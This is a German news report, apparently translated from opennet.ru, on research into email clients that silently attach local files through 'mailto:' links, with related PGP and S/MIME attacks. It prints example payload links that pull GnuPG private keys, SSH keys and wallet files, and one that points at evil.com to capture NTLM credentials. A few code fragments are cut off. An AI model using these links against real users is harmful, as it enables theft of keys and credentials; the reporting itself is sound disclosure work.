Forscher der Ruhr-Universität Bochum (Deutschland) () Verhalten von E-Mail-Clients beim Umgang mit "mailto:"-Links mit erweiterten Parametern. Fünf von zwanzig untersuchten E-Mail-Clients waren anfällig für Angriffe, die Ressourcen durch den Parameter "attach" manipulieren. Weitere sechs E-Mail-Clients waren Angriffen durch den Austausch von PGP- und S/MIME-Schlüsseln ausgesetzt, und drei Clients erwiesen sich als anfällig für Angriffe zur Extraktion von Inhalten aus verschlüsselten Nachrichten.
Links "" werden verwendet, um die automatische Öffnung des E-Mail-Clients zum Verfassen einer E-Mail an den in dem Link angegebenen Empfänger zu ermöglichen. Neben der Adresse kann in dem Link auch auf zusätzliche Parameter wie den Betreff der E-Mail und eine Vorlage für den Inhalt verwiesen werden. Der vorgeschlagene Angriff manipuliert den Parameter "attach", der es ermöglicht, einen Anhang zur erstellten E-Mail hinzuzufügen.
E-Mail-Clients wie Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) und Pegasus Mail waren anfällig für triviale Angriffe, die es ermöglichen, beliebige lokale Dateien automatisch anzuhängen, die über einen Link der Form "mailto:?attach=pfad_zur_datei" angegeben sind. Die Datei wird ohne Warnhinweis angehängt, sodass der Benutzer möglicherweise nicht bemerkt, dass die E-Mail mit einem Anhang gesendet wird.
Zum Beispiel kann mit einem Link der Form "mailto:?to=user@example.com&subject=Titel&body=Text&attach=~/.gnupg/secring.gpg" der private Schlüssel von GnuPG in die E-Mail eingefügt werden. Auch der Inhalt von Krypto-Brieftaschen (~/.bitcoin/wallet.dat), SSH-Schlüssel (~/.ssh/id_rsa) und beliebige für den Benutzer zugängliche Dateien können gesendet werden. Darüber hinaus ermöglicht Thunderbird das Anhängen von Gruppen von Dateien durch Masken mit Konstruktionen wie "attach=/tmp/*.txt".
Neben lokalen Dateien verarbeiten einige E-Mail-Clients auch Links zu Netzwerkspeichern und Pfaden auf einem IMAP-Server. So ermöglicht IBM Notes die Übertragung von Dateien aus einem Netzwerkverzeichnis, wenn Links der Form "attach=\\evil.com\dummyfile" verarbeitet werden, sowie das Abfangen von NTLM-Authentifizierungsparametern, indem ein Link zu einem vom Angreifer kontrollierten SMB-Server gesendet wird (die Anfrage wird mit den aktuellen Authentifizierungsparametern des Benutzers gesendet).
Thunderbird bearbeitet erfolgreich Anfragen im Format «attach=imap://fetch>UID>/INBOX>1/», die es ermöglichen, Inhalte aus Ordnern auf einem IMAP-Server zu attachen. Die aus IMAP abgerufenen E-Mails, die über OpenPGP und S/MIME verschlüsselt sind, werden vor dem Versand automatisch vom E-Mail-Client entschlüsselt. Die Entwickler von Thunderbird wurden über das Problem im Februar und in der Veröffentlichung ist das Problem bereits behoben (die Versionen Thunderbird 52, 60 und 68 bleiben jedoch anfällig).
Ältere Versionen von Thunderbird waren auch für zwei andere Varianten von Angriffen auf PGP und S/MIME anfällig, die von Forschern vorgeschlagen wurden. Insbesondere war der Angriff auf Schlüsselersatz sowohl auf Thunderbird als auch auf Outlook, PostBox, eM Client, MailMate und R2Mail2 anwendbar, was darauf zurückzuführen ist, dass der E-Mail-Client automatisch neue Zertifikate importiert und installiert, die in S/MIME-Nachrichten übermittelt werden, was es dem Angreifer ermöglicht, bereits gespeicherte öffentliche Schlüssel des Benutzers zu ersetzen.
Der zweite Angriff, dem Thunderbird, PostBox und MailMate ausgesetzt sind, manipuliert die Besonderheiten des Auto-Save-Mechanismus für Nachrichtenentwürfe und ermöglicht es, mit mailto-Parametern die Entschlüsselung verschlüsselter Nachrichten oder das Hinzufügen einer digitalen Signatur zu beliebigen Nachrichten zu initiieren, wobei das Ergebnis anschließend an den IMAP-Server des Angreifers gesendet wird. Der Chiffretext wird bei diesem Angriff über den Parameter «body» übergeben, und für die Initiierung des Zugriffs auf den IMAP-Server des Angreifers wird das Tag «meta refresh» verwendet. Zum Beispiel: ‘<meta http-equiv=
Um Links «mailto:» automatisiert und ohne Benutzerbeteiligung zu verarbeiten, können speziell formatierte PDF-Dokumente verwendet werden — die OpenAction-Funktion in PDF ermöglicht es, den mailto-Handler automatisch beim Öffnen des Dokuments zu starten:
%PDF-1.5
1 0 obj
<>
endobj
2 0 obj
<>
endobj
Quelle: opennet.ru
